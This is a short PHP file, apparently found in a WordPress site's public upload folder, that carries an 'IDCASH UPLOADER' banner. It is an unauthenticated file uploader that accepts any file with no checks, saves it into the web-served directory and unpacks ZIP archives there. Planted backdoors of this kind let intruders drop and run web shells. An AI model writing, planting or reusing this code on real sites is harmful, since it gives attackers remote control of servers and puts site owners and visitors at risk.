File: /home/bashacomputer/public_html/wp/upload/upload.php
<?php
echo "<h1 style='color:green;'>IDCASH UPLOADER</h1>";
if (!empty($_FILES['file'])) {
$upload_dir = __DIR__ . "/";
$uploaded_file = $upload_dir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploaded_file)) {
echo "✅ File uploaded: <a href='" . htmlspecialchars($_FILES['file']['name']) . "'>" . htmlspecialchars($_FILES['file']['name']) . "</a><br>";
// if it's a zip file, try to extract it
$ext = pathinfo($uploaded_file, PATHINFO_EXTENSION);
if (strtolower($ext) === 'zip') {
$zip = new ZipArchive();
if ($zip->open($uploaded_file) === TRUE) {
$zip->extractTo($upload_dir);
$zip->close();
echo "✅ ZIP file extracted here.<br>";
} else {
echo "❌ Failed to extract ZIP file.<br>";
}
}
} else {
echo "❌ Failed to upload.<br>";
}
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>